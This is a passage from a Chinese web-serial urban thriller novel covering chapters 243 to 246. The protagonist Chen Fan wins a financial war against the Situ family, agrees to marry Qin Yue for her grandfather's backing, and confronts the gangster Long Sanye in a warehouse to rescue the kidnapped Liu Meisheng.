凌晨三点,叶倾城回来了,脸色很难看。
“抵押完了。”她说,“能套现的都套现了,还差十八亿!”
我看了眼时间,离天亮还有三个小时,还差18亿,这是个天文数字,我双手捂着脸,如果没有钱,我和司徒家的战斗就会以失败而结束!
不甘心,我真的不甘心!
就在这时候,我的电话响了,我一看来电,是周叶青!
这个上城顶级大佬,周家代言人,我的背后幕僚!
我怎么把她忘记了!
我赶忙接通电话,直接开口道:“周总,江湖救急!”
周叶青在电话里笑着说道:“说吧,需要多少。”
“需要18个亿,不20亿!”我直接说道。
“给你三十个亿,就一个要求,打垮司徒雄!”
“保证完成任务!”
我挂上电话,道:“钱到位了,一会儿会几张三十亿!”
叶倾城的脸上露出了如释重负的笑容,司徒晴的脸色也好看了许多!
我瘫坐在沙发上,汗水湿透了我的衬衫,我才是真的如释重负,我差点就被司徒雄击垮了!
凌晨四点,所有资金到位,总计九十亿七千万,全部转入作战账户。
“司徒雄应该也消耗得差不多了。”我看着屏幕道:“他这次动用的资金,至少在百亿以上,以司徒家的现金流,这已经是极限,接下来,看谁先撑不住。”
秦悦忽然说:“我刚才算了一下,如果按照现在的消耗速度,我们还能撑六个小时,六小时后,如果司徒雄还有后手,我们就完了。”
六个小时,到上午十点。
“足够了。”我说道:“张薇薇的第二波报道,会在上午九点发布,到时候,**会彻底倒向我们,司徒雄不仅要应对金融市场,还要应对监管压力,他撑不了太久。”
话虽这么说,但我心里清楚,这是一场**。
赌司徒雄先崩溃,赌**的压力足够大,赌我们运气够好。
凌晨五点,天已经开始亮了。
指挥中心里,所有人都已经筋疲力尽,但没有人离开。咖啡杯堆满了桌子,烟灰缸里满是烟蒂。
秦悦靠在椅子上睡着了,叶倾城还在盯着屏幕,眼睛布满血丝。
我走到窗前,看着这座城市醒来,我的手机震动,是医院打来的。
“陈先生,柳小姐情况稳定了。”陈医生的声音传来,“肾脏功能开始恢复,尿量增加了。这是个好兆头。她刚才醒了一会儿,问你在哪里。”
“告诉她,我很快去看她。”
挂断电话,我回到指挥中心。秦悦醒了,正在泡茶。
“喝点吧。”她递给我一杯,“铁观音,提神。”
我接过茶杯,茶香扑鼻。喝了一口,苦涩,但回甘。
“谢谢你,悦悦。”我说。
“谢什么?”她笑了,“我们不是一家人吗?”
一家人。这个词让我心头一暖,也让我心头一沉。
如果输了,这一家人,都会被我拖下水。
上午七点,司徒雄发动了第三**击。
243秦家的帮忙!
这次,他选择了更狠的手段,司徒雄联合几家券商,发布对“凡颜资本”投资组合的负面评级报告。同时,有“匿名消息人士”向媒体爆料,称“凡颜资本”资金链断裂,即将破产。
消息一出,市场恐慌加剧,我们持有的股票全线下跌,跌幅最大的超过了20%。
“王八蛋!”一个交易员忍不住骂道:“这是要赶尽杀绝啊!”
“冷静。”我说道:“倾城,让公关团队立刻发声明,否认破产传闻。同时,公布我们刚完成的融资,稳定市场信心。”
“我已经发了。”叶倾城说,“但效果不明显,市场现在只相信真金白银。”
我看向秦悦:“悦悦,秦家能不能发个声明,表态支持我们?”
秦悦犹豫了一下:“我可以试试,但爷爷那边,他可能会要求更多条件。”
“告诉他,无论什么条件,我都答应。”我说得很干脆道:“只要秦家现在公开支持我们。”
秦悦去打电话了,我继续盯着屏幕,看着那些下跌的曲线,心里在快速计算。
如果市场恐慌不能及时遏制,不需要司徒雄再抛售,我们的持仓市值就会自动蒸发掉几十亿。
那时候,就算有再多资金,也无力回天了。
上午八点,秦家的声明发布了。
很短,但很有分量:“秦氏集团对‘凡颜资本’的长期发展战略充满信心,将继续加大投资力度,目前双方合作顺利,所有项目按计划推进。”
声明一出,市场稍微稳住了些。但还不够。
上午九点,张薇薇的第二波报道准时发布。
这次,她放出了更多实锤,司徒雄海运公司当年的内部文件,显示那三艘“沉没”货轮的保险理赔金额被夸大了三倍,银行转账记录,显示部分资金流入了司徒雄在瑞士的私人账户,还有一份当年的船员名单,显示有三名船员在“事故”后失踪,家属至今没有拿到赔偿。
最致命的是,张薇薇找到了一名当年的船员。他已经七十多岁了,得了癌症,时日无多。
在镜头前,他颤抖着说:“那三艘船根本就没有沉,我们被要求把船开到公海,然后炸沉。船上装的不是什么普通货物,是枪炮,船长说,这是掉脑袋的生意,谁敢说出去,就灭谁全家。”
视频最后,老人老泪纵横道:“我憋了三十年,今天终于说出来了。我对不起那些失踪的兄弟,对不起他们的家人但我怕啊,我真的怕啊!”
这段视频,像一颗**,引爆了整个**场。
司徒集团的股票在九点三十分开盘后,直接跌停,监管部门的电话被打爆,要求彻查司徒家的声音此起彼伏。
上午十点,司徒雄那边终于撑不住了。
监控显示,司徒雄在港交所的抛售停止了,而且,他开始悄悄回购股票,试图稳定股价,但为时已晚,市场信心已经崩溃,回购的资金像扔进大海的石头,连个水花都没溅起来。
“他退了。”叶倾城长出一口气,道:“我们撑住了。”
指挥中心里爆发出欢呼声。交易员们互相拥抱,有些人甚至哭了,这一夜,太漫长了。
但我没有放松警惕。
“监控司徒雄的所有账户。”我说:“他可能只是暂时撤退,准备下一**击。”
“已经在做了。”叶倾城说:“不过,以他现在面临的**压力,短时间内应该无力再发动大规模金融战了,监管部门已经介入,他的资金可能被冻结调查。”
秦悦走到我身边,轻声说:“爷爷来电话,说他想见你。”
我看着她:“现在?”
“嗯。”秦悦点头:“他说,有些事,需要当面谈。”
我知道秦守正要谈什么,那就是条件,秦家在这次危机中帮了大忙,现在,是时候谈回报了。
“好。”我说:“什么时候?”
“今天下午,他派专机来接你。”秦悦看着我,抱歉的说:“陈凡,爷爷他可能会提一些比较苛刻的条件,你要有心理准备。”
“我明白。”我握住她的手道:“不管什么条件,我都接受,因为如果没有秦家,我今天已经输了。”
上午十一点,我离开指挥中心,去了医院。
柳媚笙已经转到了普通病房。我推门进去时,她正靠在床头,看着窗外,阳光照在她苍白的脸上,给她镀上了一层柔和的光晕。
听到声音,她转过头,看到我,笑了。
那个笑容很虚弱,但很真实。
“你来了。”她的声音很轻,还有些沙哑。
“嗯。”我走到床边坐下,握住她的手,柔声道:“感觉怎么样?”
“好多了。”她说道:“医生说我命大,那颗**再偏一点,我就去见阿战了。”
提到阿战,她的眼神暗了一下。
“对不起……”我低声说:“让你冒险了。”
“是我自己愿意的。”柳媚笙摇摇头,道:“而且,我也不是完全为了你,司徒雄在东南亚动过我的生意,我早就想找他算账了,这次,只是顺便。”
我知道她在安慰我,就像她说的,她总是这样,把真情实意藏在交易和算计后面。
“
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证据已经交给张薇薇了。”我说:“报道出来了,司徒雄现在焦头烂额。”
“我看到了。”柳媚笙指了指床头的平板电脑,道:“刚才护士帮我调出来的。陈凡,你这次玩得很大。”
“没有退路了。”
“我知道。”她看着我,眼神复杂,道:“但你想过没有,就算扳倒了司徒雄,接下来呢?司徒家倒了,会空出一大块权力真空,多少双眼睛盯着,多少只手准备伸过来,你能守住吗?”
这个问题很尖锐,但也正是我最近在思考的。
“守不住也要守。”我说,“悦悦,倾城,你,司徒晴还有那么多人,都把宝押在我身上,我不能退。”
柳媚笙沉默了一会儿,然后说:“陈凡,你知道吗?我最佩服你的一点,就是你永远知道自己在做什么,要什么,哪怕前路再难,你也从不犹豫。”
“那是因为我没有退路。”我实话实说:“我身后就是悬崖,只能往前。”
她笑了,笑容里有些心疼:“那就往前吧。我会一直看着你,走到你该去的地方。”
我们在病房里坐了很久,聊了很多,聊过去,聊现在,也聊未来。认识这么久,我们第一次这样平静地聊天,没有算计,没有交易,只是两个经历生死后的人,在分享彼此的心事。
下午两点,秦家的专机到了。
我离开医院前,柳媚笙叫住我。
“陈凡。”她说:“秦家老爷子不是普通人,和他谈判,要真诚,但也要留一手,记住,在真正的大佬面前,耍小聪明是没用的,你要让他看到你的价值,但也要让他知道,你有自己的底线。”
我点点头:“我会记住的。”
“还有。”她犹豫了一下,提醒道:“秦悦那姑娘是真心对你的,别负了她。”
我看着她,想说什么,但最终只是点了点头。
去机场的路上,我给叶倾城打了电话。
“公司那边你盯着。”我说:“我最多去两天就回来,这段时间,小心司徒雄狗急跳墙,加强安保,特别是司徒晴和秦悦那边。”
“明白。”叶倾城说:“你自己也小心,秦家毕竟是世家,规矩多。”
“我知道。”
挂断电话,我看着窗外的城市。阳光灿烂,车水马龙,一切看起来都那么正常。
但我知道,在这平静的表象下,暗流还在涌动。
司徒雄虽然暂时受挫,但百足之虫死而不僵,他一定还有后手。
而秦家那边,虽然现在是我的盟友,但商场上没有永远的朋友,只有永远的利益。
244你娶了我孙女!
飞机降落在杭城时,已是晚上九点。
我牵着秦悦的手,我们两个人一起走出了航站楼,秦悦穿的是白色的针织开衫,配浅色牛仔裤,头发松松地披在肩头,她整个人看起来还是那样的青春干净。
秦悦忽然停下脚步,她摸了摸我的脸,温柔的对我说道:“累吗?”
“还好。”我握紧她的手,感觉到她手心的温度。
“连着熬了几天,还说不累?我看着都心疼。”她摇摇头,嘴角弯起温柔的弧度。
我微微一笑,我的付出,秦悦都看在了眼里,从我们和司徒雄开战到现在,我确实没睡过一个好觉,在这段时间里,我经历了了金融市场上的生死搏杀,而她在杭城为我周旋家族关系,每个人都在自己的战场上战斗。
而现在,我们终于可以暂时放下那些硝烟,享受片刻的宁静。
“走吧。”她牵着我的手往外走道:“车在外面。爷爷说,如果你不累,他想今晚就见你。”
我微微一愣:“这么急?”
“嗯。”秦悦侧头看我,眼中有着复杂的情绪,道:“司徒家那边的事,爷爷都知道了,他说,有些事情,宜早不宜迟。”
我点点头,没再多问,跟着秦悦坐上了一辆奥迪A8。
“李叔,回老宅。”秦悦说。
“好的,小姐。”司机说道。
车子驶出机场,开上绕城高速。
秦悦靠在我肩上,手指轻轻拨弄着我的袖扣。
“陈凡。”她忽然轻声问:“如果没有这些争斗,没有司徒家,没有那么多算计,你最想过什么样的生活?”
这个问题很突然,但我明白她的意思。
“不知道。”我诚实地说:“从我走上这条路的时候,我的生活就只剩下一个目标,赢回尊严,赢回一切,至于赢了之后的事情没想过。”
“那现在想想呢?”她抬头看我,眼睛在车内昏暗的光线下亮晶晶的。
我看着她,看着这张温柔而精致的脸,心里某个柔软的地方被触动了。
“也许……”我缓缓说道:“找个像杭城这样的地方,买套小房子,推开窗能看到湖,院子里种几棵桂花树。每天早上被鸟叫醒,晚上听着雨声入睡。”
秦悦笑了,那笑容里有甜蜜,也有一丝淡淡的惆怅。
“那你会做什么?”
“可能开个小茶馆,或者什么都不做,就看看书,钓钓鱼。”我说:“当然,这只是想想,像我这样的人,大概永远过不上那样的生活。”
“为什么?”她追问。
“因为习惯了。”我看着窗外的夜色,道:“我习惯了算计,习惯了争斗,习惯了把所有人都当棋子,也习惯了自己当棋手,如果突然停下来,我会不知道该怎么活。”
秦悦沉默了一会儿,然后说:“陈凡,你知道吗?你最大的问题,就是太清醒,清醒到连骗自己都做不到。”
“这样不好吗?”
“好,也不好。”她重新靠回我肩上道:“清醒让你走到今天,但也让你活得很累,有时候,我宁愿你糊涂一点,自私一点,多为自己想想,少为别人操心。”
我没说话,只是搂紧了她的肩膀。
车子驶入西湖边的一片老街区,最后在一处白墙青瓦的宅院前停下。院子很大,门楣上挂着一块木匾,上书“秦府”两个大字,笔力遒劲。
李叔下车开门,秦悦牵着我走进去。
秦守正已经站在门口等待我和秦悦,他才是秦家的定海神针!
“爷爷。”秦悦松开我的手,快步走过去,扶住老人的胳膊,关心道:“您怎么出来了?晚上风大。”
“接你们两个啊!”秦守正的目光落在我身上,笑着道:“回来就好,回来就好。”
“秦老。”我微微躬身:“叨扰了。”
“不叨扰。”他转身往屋里走,“进来吧,茶已经泡好了。”
我们在茶桌前坐下。秦守正亲自泡茶,动作娴熟流畅。他没有立刻说话,只是专注地看着茶汤的颜色,闻着茶香,然后给我们各倒了一杯。
“尝尝,明前的狮峰龙井。”他说。
我端起茶杯,茶汤清澈碧绿,香气清高持久,入口鲜爽,回甘悠长,确实是顶级的龙井。
“好茶。”我说。
秦守正点点头,这才开始正题道:“司徒家的事,悦悦都跟我说了,你做得不错,比我想象的大胆。”
“形势所迫,不得不为。”
“但还不够。”秦守正放下茶杯,直视我的眼睛道:“司徒雄现在虽然受挫,但根基未伤,百足之虫,死而不僵,你要彻底扳倒他,还需要更多的筹码。”
“秦老的意思是?”
“秦家可以成为你的筹码。”秦守正缓缓道:“但我需要知道,你值不值得我押注。”
这话说得很直白,我放下茶杯,认真地看着他:“秦老想要什么保证?”
“不是保证,是诚意。”秦守正手指轻敲桌面,“悦悦喜欢你,这是她的选择,我尊重,但秦家不是我一个人的,是几代人的心血,我要看到,你对悦悦的重视,不只是嘴上说说。”
他顿了顿,一字一句地说:“我要你公开娶悦悦。不是男女朋友,是明媒正娶,让所有人都知道,秦家的孙女,是你陈凡明正言顺的妻子。”
这话一出,秦悦的脸瞬间红了:“爷爷!”
我没有立刻回答。
公开娶秦悦,意味着将秦家彻底绑在我的战车上。也意味着,我和司徒家的战争,秦家将没有退路,这对我有利,但对秦家来说,风险巨大。
前几天,秦守正让我公开和秦悦的关系,我打赢了,现在又让我娶秦悦,这个老狐狸,真是一步一步把我套进去了。
可为了获取秦家全部的帮助,我点了点头道:“好,我会娶悦悦的!”
秦悦瞬间红了眼睛,秦守正也满意的点了点头。
“司徒雄那边,你接下来有什么打算?”他问。
“等他先动,林薇薇的报道已经让他焦头烂额,监管部门介入调查,他的资金被冻结,短期内应该
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无力反击,但以他的性格,不会坐以待毙,我猜,他会在两周内有所行动。”
“猜他会怎么动?”
“两条路。”我分析道:“第一,动用更深层的关系,试图平息**,解冻资金,第二,狗急跳墙,用非常手段对付我或者我身边的人。”
秦守正点点头:“你觉得哪条可能性大?”
“都有可能。”我说道:“但第二条更危险,司徒雄在东南亚的关系很深,如果他要动用非常手段,可能会从那边调人。”
“那你打算怎么应对?”
“已经加强了安保。”我说道:“司徒晴、叶倾城,还有,悦悦,我都安排了人手保护,我自己也会小心。”
秦守正沉吟片刻,忽然说:“秦家在东南亚也有些关系,如果你需要,我可以帮你安排。”
我心中一动,秦家在东南亚的关系,可能正是我需要的。
“谢谢秦老。”
“不用谢。”秦守正摆摆手,“既然是一家人,就该互相照应。不过陈凡,我要提醒你一句,对付司徒雄这样的人,光防守是不够的。你要进攻,要打疼他,打怕他,让他不敢再对你动手。”
“我明白。”
我们又聊了一个多小时,主要是关于秦家接下来如何支持我的具体方案。秦守正不愧是商界老将,每个建议都切中要害,既给了我足够的支持,又保留了秦家的退路。
然后秦守正还和我聊了一下,赢的这场商战后,秦家能分的多少利益。
我会给秦家30%的利益,因为剩下70%,我还要和周叶青商量,我在上城能有今天,离不开周家的支持。
谈话结束时,已是深夜十一点。
秦守正起身送客道:“陈凡,秦家将会无条件的支持你,秦家的50亿已经给你了,剩下的,秦家只能用人脉来支持你!只要你需要,境外秦家的人,随意支配!”
“好的,秦老!”我感谢道。
秦守正忽然板起了脸,对我说道:“都什么时候了,还叫我秦老?”
我恍然大悟,旁边的秦悦已经是红了脸,她低着头不敢看我。
“爷爷!多谢爷爷!”我笑着说道。
“嗯,这还差不多。”秦守正满意的点了点头,说到:“你们两个快点办婚礼,多生几个孩子出来给我。”
“爷爷~”秦悦害羞道:“你在说什么呢!”
秦悦说完,就跑开了,我立马追了过去!
秦悦跑回了自己的房间,我也跟了过去。
一进门,她就转身对我说道:“陈凡,爷爷的话,你不用太有压力,如果你觉得现在结婚不合适,我们可以再等等。我理解你的处境……”
“不。”我转过身,将她搂进怀里道:“秦老说得对,如果连公开娶你的勇气都没有,我就不配站在你身边。”
秦悦的眼睛亮了:“你真的愿意?”
“愿意。”我点头。
秦悦脸上露出喜悦的笑容,她的眸子里闪着动人的泪珠,她踮起脚尖,吻在了我的唇上……
245救柳媚笙(上)!
当我坐上飞机,回到上城的时候,已经是三天后的办完。
飞机在暮色中降落,我下了飞机,直接去了周叶青约定的地方。
我不得不感叹:这女人还真是胆子大,现在我和司徒雄斗法,她竟然还能随意外出,不过她身边有白起这位杀神在,她怕什么?
周叶青一直都是上城的传说,这个女人太过于神秘,她就是那种可以在关键时刻给你致命一击,也可以在关键时刻,拉你一把的女人,就像这次,她给我的三十万,她偏偏等到最后,等到我快要全面崩盘的时候,她痛快的把钱打了过来。
每一次的出手,她都是恰到好处。
推开公寓门时,她正站在落地窗前,背对着我,手里端着一杯红酒。窗外是江边的夜景,游船缓缓驶过,拖出一道道粼粼的光带。
“回来了?”她没有回头,声音平静无波。
“周总,你这么着急见面,我必须得回来啊!你可是我的金主爸爸!”我关上门,笑着开玩笑道。
“还知道开玩笑,看来秦家给你不少筹码啊!”周叶青转过身,笑吟吟的看着我。
她今天穿了件深紫色的丝绒长袍,长发松松挽起,露出修长的脖颈,即使是在自己家里,她依旧妆容精致,一丝不苟。
“坐。”她指了指沙发,自己也在对面坐下,将一张支票推到茶几上,她对我说道:“二十亿,用还。”
我看了眼支票,没有立刻去拿。
“条件呢?”我笑着问。
周叶青笑了,那笑容很美,但没什么温度:“我喜欢跟聪明人打交道,条件很简单,你用这笔钱和司徒雄斗到底,我亲眼看着司徒家到下,然后我要接管司徒家海上的七成业务!”
她的语气很平静,但每个字都带着恨意似的。
“周总,你和司徒雄有仇吗?”我认真的问道。
我当初来到上城,就是被周叶青喊来对付司徒家的,可她和司徒家的恩怨到底是什么,我还没有弄清。
“私人恩怨。”她抿了一口酒,眼神变得幽深,“二十年前,我最好的朋友爱上司徒雄的儿子,那小子始乱终弃,我朋友想不开,跳进了江里,我去司徒家**,司徒雄说了一句话,一个小门小户的女儿,**就**,从那以后,我就发誓,总有一天,我要让司徒家付出代价。”
她看着我,眼中燃烧着冰冷的火焰:“我等了二十年,终于等到你,陈凡,你是唯一一个有胆量、有能力扳倒司徒雄的人。”
“所以这二十亿,不是投资,是赞助,你赢了,我痛快,你输了,这钱就当给我朋友烧纸了。”
我拿起支票,薄薄的一张纸,重如千钧。
“我会赢。”我说。
“最好是这样。”周叶青站起身,走到窗前道:“另外,提醒你一句,司徒雄最近在接触龙三爷旧部的人。虽然龙三爷**,但他的势力还在,如果司徒雄得到了那些人的支持,你会有**烦。”
龙三爷。
这个名字让我心头一紧。
“我知道了。”我将支票收好,然后笑着道:“谢谢周总支援!”
“不用谢我。”她摆摆手道:“各取所需,去吧,你的小情人还在医院等你。”
我走到门口,忽然停下脚步。
转身,我一脸笑意问道:“周总,那个我赢了司徒雄后,你能不能赏脸和我约个会?”
“嗯?敢打我的主意?”
周叶青美目瞪着我,然后喊了一声:“白起,给我拿下陈凡!”
我一听周叶青喊了白起,我立马撒腿就跑。
“白大哥饶命,我和周总开玩笑的!”
路过白起的身旁,我陪着笑脸,一溜烟就跑了,我跟白起动手?他可是杀神,我疯了?
白起推门进入,笑着道:“小姐,这个陈凡还真是有趣,他还是第一个有胆量约你的人。”
“是啊,所以得给他个教训!”周叶青似笑非笑道:“省的他以为我和她身边那些女人一样……”
离开周叶青的公寓,已经是晚上八点。
我没有直接去医院,而是先回了趟公司,叶倾城在等我,眼圈发黑,显然这几天也没怎么休息。
“资金到账了。”她递给我一份报表道:“加上周叶青的二十亿,我们现在能动用的现金超过一百亿,足够应对司徒雄的任何攻击。”
“司徒雄那边有什么新动向?”
“还在垂死挣扎。”叶倾城调出监控画面,道:“他动用了海外关系,试图解冻被监管的资金,但张薇薇的报道影响太大,监管部门压力也大,暂时还没松口,不过...”
她顿了顿:“我们的人发现,司徒雄的秘书最近频繁接触几个东南亚号码,通信内容加密了,破译需要时间。但可以确定,他在调集境外力量。”
我想起周叶青的警告,心头一沉。
“加强安保,特别是医院那边,媚笙现在情况怎么样?”
“稳定了。”叶倾城说道:“医生说再观察一周,如果没问题就可以出院,但她情绪不太好,经常做噩梦,需要心理干预。”
“我去看看她。”
开车去医院的路上,我给秦悦打了个电话,她还在杭城,声音听起来有些疲惫。
“上城那边谈得怎么样?”她问。
“一切顺利。”我说,“周叶青给了二十亿,资金问题解决了,你那边呢?”
“在准备婚礼的事。”秦悦的声音里有一丝羞涩,道:“爷爷说,既然要办,就办得风风光光,他找了著名的设计师,在选婚纱和场地,陈凡,你真的准备好了吗?”
“准备好了。”我看着车窗外流动的霓虹,道:“悦悦,等这一切结束,我们就结婚,在杭城,办一场最盛大的婚礼。”
电话那头沉默了良久,然后传来秦悦轻柔的声音:“我等你。”
挂断电话,车子已经驶入医院的地下停车场。
夜晚的医院很安静,走廊里只有护士站亮着灯。我走向柳媚笙的病房,脚步不自觉加快。
推开门时,我愣住了。
病房里空无一人!
床铺整齐,输液架还在,但柳媚笙不见了!!!
我看见床头柜上的水杯还冒着热气,显然人刚离开不久。
“媚笙?”我喊了一声,没有回应。
我转身冲出病房,拉住一个路过的护士质问道:“这间病房的病人呢?”
护士愣了一下:“刚才还在啊,有个老人来看她,说是她叔叔。他们说话声音有点大,我还过来提醒过,后来我就去给其他病人换药了。”
老人?叔叔?
柳媚笙是个孤儿!她没有什么亲戚!
一种不祥的预感涌上心头,我立刻拨通叶倾城的电话:“媚笙不见了,查监控,现在!”
五分钟后,叶倾城回电,声音颤抖道:“监控被动了手脚。从晚上七点半到八点十五分,柳媚笙病房所在楼层的监控全是空白。但地下车库的监控拍到,八点零三分,一辆黑色商务车离开,车牌是**的。”
“能追踪吗?”
“已经在查了,但希望不大。”叶倾城的声音带着哭腔,道:“陈凡,对不起,是我没安排好安保……”
“现在不是说这个的时候。”我强迫自己冷静,道:“联系我们在道上的人,查最近有没有什么异常动向,特别是和龙三爷有关的人。”
“龙三爷?”叶倾城愣住了,“他不是**吗?”
“也许没死。”我想起周叶青的话,心脏像被一只冰冷的手攥紧道:“快去查!”
挂断电话,我站在空荡荡的病房里,大脑飞速运转。
柳媚笙被掳走了,能在医院这种地方,在层层安保下把人带走,对方绝对不是普通人。而且选择这个时间点——我刚拿到周叶青的资金,正准备和司徒雄决战——时机掐得太准了。
司
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徒雄?还是别人?
手机震动,是一个陌生号码发来的加密信息。只有一行字:
“想救柳媚笙,明晚十点,老码头三号仓库。一个人来。带上一百亿。”
信息末尾,附着一张照片,柳媚笙被绑在椅子上,嘴上贴着胶带,眼睛惊恐地睁大。照片背景很暗,隐约能看到生锈的钢架和集装箱。
照片的拍摄时间显示:十分钟前。
我的手在颤抖,不是因为恐惧,是因为愤怒。
他们动了柳媚笙,动了那个刚刚从鬼门关捡回一条命的女人。
我拨通那个号码,对方关机。
再拨司徒雄的电话,响了很久,终于接通。
“陈凡?”司徒雄的声音听起来很疲惫,但依然带着居高临下的傲慢,道:“这么晚打来,有事?”
“柳媚笙是不是在你手上?”我直接问。
电话那头沉默了几秒,然后传来一声冷笑:“柳媚笙?那个在马来西亚坏了我的事的女人?她不是应该在医院吗?”
“别装傻。”我的声音冷得像冰道:“司徒雄,如果你敢动她一根头发,我发誓,我会让你后悔来到这个世上。”
“威胁我?”司徒雄笑了,那笑声里满是嘲讽,“陈凡,你现在自身难保,还有空关心别人?不过既然你问了,我可以告诉你——柳媚笙确实不在我手上。但我知道谁带走了她。”
“谁?”
“一个你绝对想不到的人。”司徒雄顿了顿,一字一句地说,“龙三爷。”
我的心脏猛地一沉。
“龙三爷**。”我冷冷的说道。
“是吗?”司徒雄的声音变得玩味,道:“那你觉得,是谁能在马来西亚调集那么多雇佣兵?是谁能在我眼皮底下,把吴山的证据送到你手上?又是谁现在带走了柳媚笙?”
他的话像一把重锤,砸在我心上。
是啊,我怎么没想到。
境外的行动,虽然凶险,但太过顺利,吴山的证据来得太及时,柳媚笙的伤太重但又不致命,一切都像安排好的一样。
“为什么?”我问:“龙三爷为什么要帮我,又要害我?”
“帮你?”司徒雄大笑,道:“陈凡,你太天真了。龙三爷从来不是在帮你,他是在利用你,利用你扳倒我,然后吃掉我们两个。”
“那你为什么告诉我这些?”
“因为敌人的敌人,就是暂时的朋友。”司徒雄说,“龙三爷是我们共同的威胁。陈凡,我可以帮你救出柳媚笙,条件是你我联手,先除掉龙三爷。”
我握紧手机,指甲陷进掌心。
“我怎么知道这不是你的圈套?”
“你可以不信。”司徒雄无所谓地说,“但明晚十点,龙三爷要的是一百亿。你能拿得出来吗?就算拿出来了,你能保证他会放了柳媚笙?”
他说得对。龙三爷那种人,绝不会遵守承诺。
“你要怎么做?”
“我的人在老码头有眼线。”司徒雄说道:“我可以告诉你仓库的布局,守卫的位置,甚至可以安排人接应,但你要答应我,解决龙三爷后,我们之间的账,再慢慢算。”
我沉默了很长时间。
与司徒雄合作,无异于与虎谋皮。
但眼下,这是救柳媚笙的唯一希望。
“好。”我最终说:“但我有条件,第一,行动由我指挥。第二,救出媚笙前,你不能有任何动作。第三,如果媚笙受伤,合作立刻终止。”
“成交。”司徒雄很爽快道:“稍后我会把仓库的详细资料发给你,陈凡,记住,这是我们第一次合作,也可能是最后一次,别让我失望。”
电话挂断了。
我站在病房的窗前,看着外面漆黑的夜空,心中涌起前所未有的寒意。
龙三爷没死,他在我的眼皮子底下,藏起来了。
他现在回来复仇了,而柳媚笙,成了这场新战争的第一个人质。
246救柳媚笙(下)!
晚上九点四十五分,老码头。
我把车停在五百米外的一个废弃加油站,熄火,关灯。车里一片漆黑,只有仪表盘微弱的绿光映着我的脸。
副驾驶座上放着一把**19,两个备用**,还有一把军用**,我将提前准备好的100亿支票,放在了衣服口袋里。
手机屏幕亮起,是叶倾城发来的加密信息:“外围已就位,十二个人,分三组,分别在码头东、西、北三个方向待命,随时可以接应。”
我回复:“没有我的信号,任何人不要动。”
“明白,陈凡你一定要格外小心。”
我收起手机,我最后检查了一遍装备,防弹背心穿在西装里面,这个关键时刻能救我的命,我的耳机塞进右耳,加密频道已经开通,这个耳机可以多个频道沟通,算是为我提供消息。
九点五十分,我下了车。
这里夜晚的风很大,仓库在码头最深处。
我停在门前十米处,没有立刻进去。
耳机里传来轻微的电波声,然后是司徒雄压低的声音:“仓库里有六个人,两个在二楼的控制室,盯着监控。三个在一层的集装箱后面,有武器。还有一个在柳媚笙身边,龙三爷本人不在。”
“你怎么知道?”
“我在龙三爷身边有眼线,三年前埋下的。”司徒雄的声音带着一丝得意,道:“现在信我了吧?进去后,直接往左走,第三个集装箱后面就是柳媚笙。解决守卫后,从西侧的应急门出来,我的人在那里接应。”
“龙三爷在哪?”
“不清楚,但我猜,他就在附近看着。那个人最喜欢玩这种猫捉老鼠的游戏。”
我深吸一口气,推开了仓库的门。
我按照司徒雄的指示往左走。脚步很轻,右手按在腰间的枪柄上。
仓库深处传来隐约的水滴声,还有呼吸声。
转过第二个集装箱,我看到了柳媚笙,她被绑在一张椅子上,嘴上贴着黑色胶带,头发散乱,脸色苍白。她的左肩还缠着绷带,显然伤口还没完全愈合。一个穿黑色作战服的男人站在她身后,手里拿着一把**,枪口抵着她的后脑。
看到我,柳媚笙的眼睛瞬间睁大,发出“呜呜”的声音,拼命摇头。
她在警告我。
“站住。”那个男人开口,声音嘶哑的吼着:“把钱给我!”
“我要先确认她没事。”我说。
男人冷笑:“你有资格谈条件吗?”
“有。”我平静的说道:“如果她受伤了,这一百亿你们一分也拿不到。而且,我会让你们所有人陪葬。”
我的话让男人沉默了,他看了看身后,然后从阴影里走出另外三个人,呈扇形把我围住。每个人都全副武装,眼神凶狠,显然是经历过实战的亡命之徒。
“检查她。”我对那个**的男人说。
男人犹豫了一下,还是伸手扯掉了柳媚笙嘴上的胶带。
“陈凡,快走!”柳媚笙一能说话就嘶声喊道:“这是个陷阱!龙三爷他……”
话没说完,男人重新把胶带贴了回去。
柳媚笙短短的一句话,就已经够了。
我看到她的脸除了苍白,没有明显的伤痕,行动虽然受限,但意识清醒。
“满意了?”男人问:“钱呢?”
我将支票拿了出来,然后仍在了地上。
男人示意同伴过来捡,一个人走过来,捡起支票,然后走开了,我知道,他是拿着支票去验了。
“支票是真的。”他回头对**的男人说。
男人点点头,枪口依然抵着柳媚笙:“现在,把枪扔了,双手抱头,跪下。”
我慢慢抽出腰间的**,扔在地上,但没跪下。
“放了她,钱你们拿到了,按照约定,放人。”
“约定?”男人笑了,道:“陈凡,你跟谁定的约定?龙三爷可没答应你什么,他只是说,想救柳媚笙,就来这里,现在你来了,钱也带来了,但人不一定能带走。”
果然。
和我预料的一样,我心里还是会愤怒!
“龙三爷在哪?让他出来见我,躲在暗处算什么本事?”
“龙三爷是你想见就能见的?”男人嗤笑道:“不过,他让我带句话给你,一个月前的那场大火,烧掉了他的一切,现在,他要一点一点,把你的一切也烧掉,柳媚笙是第一个,但不会是最后一个。”
话音未落,仓库的灯突然全部亮起,我这才看清,整个仓库二层站满了人,至少有二十个,每个人都手持武器,枪口对准我。
而在一楼,除了眼前的四个人,从各个集装箱后面又走出了十几个,他们将我彻底的包围了!
“陈凡!”二楼传来一个苍老但中气十足的声音。
我抬头看去,一个穿着黑色唐装的老人站在二楼的护栏边,头发花白,他的脸既陌生又熟悉。
龙三爷。
他真的没死。
“那场火,竟然没烧死你!”我在下面冷冷的说道。
“陈凡,你是个人物!这点我必须承认,不过!”
他顿了顿,拐杖轻轻敲击地面。
“可惜你站错了队,或者说,你太贪心,想一个人吃掉整块蛋糕,这在这个圈子里,是找死的行为。”
我看着他的眼睛,毫无惧意:“你的真正仇人,是司徒雄,你应该去找他!”
“我当然会找他。”龙三爷笑了,那笑容很冷:“但你,也是我的目标,知道为什么吗?”
不等我回答,他继续说:“因为你是变数。这个圈子里,所有事情都有规矩,所有人都有位置,但你不守规矩,不认位置,你爬到今天的位置,你动了多少人的奶酪?如果每个人都像你这样,这游戏还怎么玩?”
“所以你要除掉我,给所有人一个警告?”我质问道。
“聪明。”龙三爷点头道:“不过,我给你一个机会。跪下,磕三个头,宣誓效忠于我,我可以饶你一命,甚至可以把柳媚笙还给你,你觉的怎么样?”
我沉默着,看了看二楼的龙三爷,又看看被枪指着的柳媚笙。
她在拼命摇头,眼中满是泪水。
我知道她在说什么,不要答应,不要屈服。
“龙三爷。”我缓缓开口道:“你觉得,我会跪吗?”
